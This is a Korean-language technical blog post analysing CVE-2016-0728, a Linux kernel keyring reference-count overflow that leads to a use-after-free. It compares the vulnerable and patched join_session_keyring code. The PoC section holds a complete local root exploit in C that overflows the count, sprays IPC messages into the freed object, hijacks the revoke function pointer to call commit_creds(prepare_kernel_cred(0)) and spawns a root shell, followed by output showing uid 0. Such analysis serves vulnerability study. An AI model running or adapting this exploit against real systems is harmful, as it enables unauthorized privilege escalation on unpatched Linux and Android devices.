본문으로 바로가기

Kernel (9) - CVE-2016-0728 ( Kernel One-day Analysis )

Contents

  • Information

  • Vulnerability

  • PoC


Information

2016년, Perception Point팀이 Linux kernel에서의 LPE취약점을 발견했다.

이 취약점은 2012년부터 존재했지만 2016년 근래에서야 취약점을 발견하였다.

천만대의 Linux 개인 PC와 66%프로의 Android device에 영향을 준다.

이 취약점의 PoC가 성공적으로 실행되면 root권한을 획득할 수 있다.

취약점은 32bit,64bit상관없이 발생하며, 3.8버전 이상의 모든 리눅스 커널에서 발생한다.


Vulnerability

크게 두가지 취약점이 발생한다.

  • Integer Overflow

  • Use - After - Free


Integer Overflow 취약점이 존재하는 부분은 keyctl이라는 커맨드이다.

요약하자면, keyctl은 리눅스의 키(key)를 보유 및 관리하는 시스템이다.

keyctl(KEYCTL_JOIN_SESSION_KEYRING, 명칭)을 이용하여 현재의 세션에서 새로운 keyring을 생성할 수 있다.

그 후, 해당 keyring에 이름을 지정할 수 있다.


keyring은 같은 이름의 keyring을 참조하여 서로 다른 프로세스에서 공유를 할 수 있다.

만약 하나의 keyring이 여러 프로세스에서 공유되고 있다면 usage라는 필드에 위치한 객체의 내부 레퍼런스 카운트가 계속해서 증가하게 된다.


일단 코드를 분석해보자.

아래 코드는 취약점이 패치되지 않은 코드이다.


long join_session_keyring(const char *name)
{
    const struct cred *old;
    struct cred *new;
    struct key *keyring;
    long ret, serial;

    new = prepare_creds();
    if (!new)
        return -ENOMEM;
    old = current_cred();

/* if no name is provided, install an anonymous keyring */
    if (!name) {
        ret = install_session_keyring_to_cred(new, NULL);
        if (ret < 0)
            goto error;

        serial = new->session_keyring->serial;
        ret = commit_creds(new);
        if (ret == 0)
            ret = serial;
        goto okay;
    }

    /* allow the user to join or create a named keyring */
    mutex_lock(&key_session_mutex);

    /* look for an existing keyring of this name */
    keyring = find_keyring_by_name(name, false); // find_keyring_by_name increments keyring usage if a keyring was found
   
    if (PTR_ERR(keyring) == -ENOKEY) {    
    /* not found - try and create a new one */
        keyring = keyring_alloc(   
        name, old->uid, old->gid, old,
        KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
        KEY_ALLOC_IN_QUOTA, NULL);
    if (IS_ERR(keyring)) {
        ret = PTR_ERR(keyring);
        goto error2;
        }
    } else if (IS_ERR(keyring)) {

ret = PTR_ERR(keyring);
goto error2; // The bug is here, skips key_put.
} else if (keyring == new->session_keyring) {
ret = 0;
goto error2;
}

/* we've got a keyring - now to install it */
ret = install_session_keyring_to_cred(new, keyring);
if (ret < 0)
goto error2;

commit_creds(new);
mutex_unlock(&key_session_mutex); // 뮤텍스를 해제한다. (동기화 해제)

ret = keyring->serial; // 생성된 새로운 serial을 리턴값에 넣는다.
key_put(keyring); // keyring에 대한 레퍼런스 카운터를 증가시킨다.

okay:
    return ret;

error2:
    mutex_unlock(&key_session_mutex);

error:
    abort_creds(new);
    return ret

}

else if (IS_ERR(keyring)) : 만일 존재하기는 하는데 해당 keyring이 정상적이지 않은 데이터일 경우 에러를 리턴한다.

else if (keyring == new->session_keyring) : key가 존재하지만 keyring이 새로운 session_keyring과 같다면 error2로 점프한다.

mutex_unlock(&key_session_mutex); : mutex를 해제한다.


전체적인 흐름은 크게 두가지이다.

  1. join_session_keyring함수가 호출되면 현재 검색하는 key가 리스트에 있는지 찾는다.

  2. 존재 한다면 평범하게 종료, 존재하지 않으면 새로 할당을 수행 한다.


코드 내의 session_keyringcred struct에 정의되어있다.

struct key __rcu *session_keyring; /* keyring inherited over fork */

새로 세션을 생성하고 난 후에 상속받은 keyring을 의미하는 듯 하다.

#include <stdio.h>
#include <stdlib.h>
#include <keyutils.h>

int main()
{
       key_serial_t serial;

       serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
       keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL);

       keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
       return 0;
}

위의 코드에서 keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");keyring을 만들면 일단 find_keyring_by_name을 통하여 keyring을 검사한다.

그리고 우리가 원하는 대로 join_session_keyring으로 진입한다.

이렇게 코드가 종료되면 위에서 설명했듯이 keyring에 대한 reference count가 계속해서 증가한다.

key_put함수는 이러한 레퍼런스 카운트를 감소시키는 역할을 한다.

하지만, else if문을 거쳐 key_put함수를 skip하게 되면 레퍼런스는 감소되지 않는다.

여기서 취약점이 발생하게 된다.


keyring의 정보는 /proc/keys에 저장되어있으므로, /proc/keys를 확인해보자.

#include <stdio.h>
#include <stdlib.h>
#include <keyutils.h>

int main()
{
       key_serial_t serial;

       serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
       keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL);

       keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
       system("cat /proc/keys");

       return 0;
}
$ ./key_test
0b824895 I--Q---     8 perm 3f3f0000  1000  1000 keyring   TestSession: empty
$ ./key_test
0b824895 I--Q---     9 perm 3f3f0000  1000  1000 keyring   TestSession: empty
$ ./key_test
0b824895 I--Q---    10 perm 3f3f0000  1000  1000 keyring   TestSession: empty

프로세스를 계속 참조하면서 계속해서 keyring이 증가하는 것을 볼 수 있다.

이렇게 keyring이 계속해서 증가하는 과정에서 Integer overflow가 발생한다.


reference count를 관리하는 구조체는 아래와 같다.

typedef struct {
int counter;
  :
  :
} atomic_t;

atomic_t은 사실상 int타입이다.


즉, 우리가 0xffffffff번 만큼 실행을 시킨다면, 오버플로우를 통하여 0으로 초기화 시킬 수 있다.

0 x ff ff ff ff ( 2^32 )

#include <stdio.h>
#include <stdlib.h>
#include <keyutils.h>

int main()
{
       int i;
       key_serial_t serial;

       serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
       keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL);

       for(i = 0; i < 0xffffffff; i++)
      {
               keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
      }
       system("cat /proc/keys");

       return 0;
}
$ ./key_test
0e9553ee I--Q---     4 perm 3f3f0000  1000  1000 keyring   TestSession: empty

$ cat /proc/keys
$  

0xffffffff번 실행시킨 결과이다.

cat /proc/keys를 실행시켜도 아무런 결과가 나오지 않는다.

왜냐하면 reference count0이 된 것을 확인한 Garbage Collector가 0번 keyringfree시켜주었기 때문이다.

사실 우리는 이렇게 free된것이 진짜로 free된게 아니라는걸 알고있다.

왜냐하면 오버플로우로 인하여 free되었기 때문이다.


하지만, Linux kernel은 이를 free된 메모리로 생각한다.

즉, 이렇게 해제된 메모리에 재할당을 하므로써 UAF취약점을 트리거할 수 있다.

아래는 취약점이 패치된 코드이다.

long join_session_keyring(const char *name)
{
    const struct cred *old;
    struct cred *new;
    struct key *keyring;
    long ret, serial;

    new = prepare_creds();
    if (!new)
        return -ENOMEM;
    old = current_cred();

    /* if no name is provided, install an anonymous keyring */
    if (!name) {
        ret = install_session_keyring_to_cred(new, NULL);
        if (ret < 0)
            goto error;

        serial = new->session_keyring->serial;
        ret = commit_creds(new);
        if (ret == 0)
            ret = serial;
        goto okay;
    }

    /* allow the user to join or create a named keyring */
    mutex_lock(&key_session_mutex);

    /* look for an existing keyring of this name */
    keyring = find_keyring_by_name(name, false);
    if (PTR_ERR(keyring) == -ENOKEY) {
        /* not found - try and create a new one */
        keyring = keyring_alloc(
    name, old->uid, old->gid, old,
    KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
    KEY_ALLOC_IN_QUOTA, NULL);
    if (IS_ERR(keyring)) {
    ret = PTR_ERR(keyring);
    goto error2;
    }
    } else if (IS_ERR(keyring)) {
    ret = PTR_ERR(keyring);
    goto error2;
    } else if (keyring == new->session_keyring) {
    key_put(keyring);
    ret = 0;
    goto error2;
    }

    /* we've got a keyring - now to install it */
    ret = install_session_keyring_to_cred(new, keyring);
    if (ret < 0)
        goto error2;

    commit_creds(new);
    mutex_unlock(&key_session_mutex);

    ret = keyring->serial;
    key_put(keyring);
    okay:
    return ret;

    error2:
    mutex_unlock(&key_session_mutex);
    error:
    abort_creds(new);
    return ret;
}

주목해야할 부분은 아래부분이다.

else if (keyring == new->session_keyring) {
    key_put(keyring);
    ret = 0;
    goto error2;
}

goto error2로 가기 전에 key_put(keyring)으로 레퍼런스를 감소시킨다.

즉, Integer overflow를 방지해준다.

여기까지 Integer overflowUsing-After-Free취약점이 어떤식으로 트리거되는지 알아보고, 코드에 어떠한 오류가 있는지 알아보았다.

이제 PoC Exploit을 보자.


PoC

일단 취약점을 트리거하는 방법은 아래와 같다.

  1. key 오브젝트를 만든다.

  2. 해당 keyring오브젝트의 usageInterger overflow를 발생시킨다.

  3. 해당 오브젝트가 free된다.

  4. user space에서 이미 freekeyring오브젝트가 사용한 공간에서 새로운 커널 오브젝트를 할당한다. 이때 할당한 오브젝트는 사용자가 컨트롤 가능한 내용이다.

  5. 이전의 keyring 오브젝트를 참조하게 하여 코드를 실행시킨다.

1번부터 3번까지는 위에서 설명했고, 여기서는 추가적으로 커널에서 사용자가 원하는 코드를 어떤식으로 실행시킬 수 있는지 알아보겠다.

일단 UAF를 트리거하려면 재할당을 해야한다.

일단 현재 프로세스가 freekeyring을 가르키고 있을것이다.

이제 커널 오브젝트를 할당해서 freekeyring오브젝트를 덮어쓸 일만 남았다.


우리는 msgget함수와 IPC시스템을 활용하여 전송할 데이터의 길이를 설정하고, 커널에 값을 전달하여 메모리를 할당한다.

전송 데이터의 길이는 0xb8 ~ 0x30으로 설정한다. 이 때, keyring오브젝트의 데이터 길이는 0xb8이 되며 정보헤더의 데이터 길이는 0x30이다.

이 과정에서 SLAB 메모리 메커니즘에 관한 설명이 나온다. 이 부분은 링크를 참조하자.

http://egloos.zum.com/rousalome/v/9964885

if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
   perror("msgget");
   exit(1);
}
for (i = 0; i < 64; i++) {
   if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
       perror("msgsnd");
       exit(1);
  }
}

이렇게 우리는 keyring오브젝트의 하위 0x88bytes를 마음대로 컨트롤 할 수 있다.


마지막으로, 어느 포인터를 덮어야할지 생각해보자.

keyring오브젝트 내부에는 key_type이라는 구조가 있다.

여기에는 다양한 함수 포인터가 존재한다.

이를 이용하여, key_type내부의 함수포인터를 user space에 존재하는 구조체를 가리켜 root권한으로 함수 포인터를 실행시킬 수 있다.

더 자세하게 알아보자.


keyring 오브젝트는 아래와 같은 방식으로 내용을 채운다.


void key_revoke(struct key *key)
{
      . . .
      if (!test_and_set_bit(KEY_FLAG_REVOKED, &key->flags) &&
          key->type->revoke)
              key->type->revoke(key);
      . . .
}

keyringuidflags값을 활용하여 계속해서 keyring오브젝트를 로딩한다.

그리고 이 과정에서 테스트를 진행하는데, key -> type -> revoke순으로 참조한다.

여기서 revoke는 함수포인터다. 우리는 이 부분을 이용할 수 있다.


typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

struct key_type_s {
   void * [12] padding;
   void * revoke;
} type;

_commit_creds commit_creds = 0xffffffff81094250;
_prepare_kernel_cred prepare_kernel_cred = 0xffffffff81094550;

void userspace_revoke(void * key) {
   commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
  ...
   struct key_type * my_key_type = NULL;
  ...
   my_key_type = malloc(sizeof(*my_key_type));
   my_key_type->revoke = (void*)userspace_revoke;
  ...
}

commit_credsprepare_kernel_cred함수의 주소를 구한 후, my_key_type->revoke = (void*)userspace_revoke;으로 revoke함수에 commit_credsprepare_kernel_cred함수를 넣어준다. 그리고 이를 실행시킨다.


/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)

struct key_type {
   char * name;
   size_t datalen;
   void * vet_description;
   void * preparse;
   void * free_preparse;
   void * instantiate;
   void * update;
   void * match_preparse;
   void * match_free;
   void * revoke;
   void * destroy;
};

void userspace_revoke(void * key) {
   commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
   unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
   struct key_type * my_key_type = NULL;
   
struct {
       long mtype;
char mtext[STRUCT_LEN];
}
   msg = {0x4141414141414141, {0}};
int msqid;

if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}

   printf("uid=%d, euid=%d\n", getuid(), geteuid());
   commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
   prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
   
   my_key_type = malloc(sizeof(*my_key_type));

   my_key_type->revoke = (void*)userspace_revoke;
   memset(msg.mtext, 'A', sizeof(msg.mtext));

   // key->uid
   *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
   //key->perm
   *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

   //key->type
   *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

   if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
       perror("msgget");
       exit(1);
  }

   keyring_name = argv[1];

/* Set the new session keyring before we start */

serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
  }

if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}


puts("Increfing...");
   for (i = 1; i < 0xfffffffd; i++) {
       if (i == (0xffffffff - l)) {
           l = l/2;
           sleep(5);
      }
       if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
           perror("keyctl");
           return -1;
      }
  }
   sleep(5);
   /* here we are going to leak the last references to overflow */
   for (i=0; i<5; ++i) {
       if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
           perror("keyctl");
           return -1;
      }
  }

   puts("finished increfing");
   puts("forking...");
   /* allocate msg struct in the kernel rewriting the freed keyring object */
   for (i=0; i<64; i++) {
       pid = fork();
       if (pid == -1) {
           perror("fork");
           return -1;
      }

       if (pid == 0) {
           sleep(2);
           if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
               perror("msgget");
               exit(1);
          }
           for (i = 0; i < 64; i++) {
               if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                   perror("msgsnd");
                   exit(1);
              }
          }
           sleep(-1);
           exit(1);
      }
  }
 
   puts("finished forking");
   sleep(5);

   /* call userspace_revoke from kernel */
   puts("caling revoke...");
   if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
       perror("keyctl_revoke");
  }

   printf("uid=%d, euid=%d\n", getuid(), geteuid());
   execl("/bin/sh", "/bin/sh", NULL);

   return 0;
}

$./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=0, euid=0
# whoami
root

정상적으로 root쉘을 획득할 수 있다.


Reference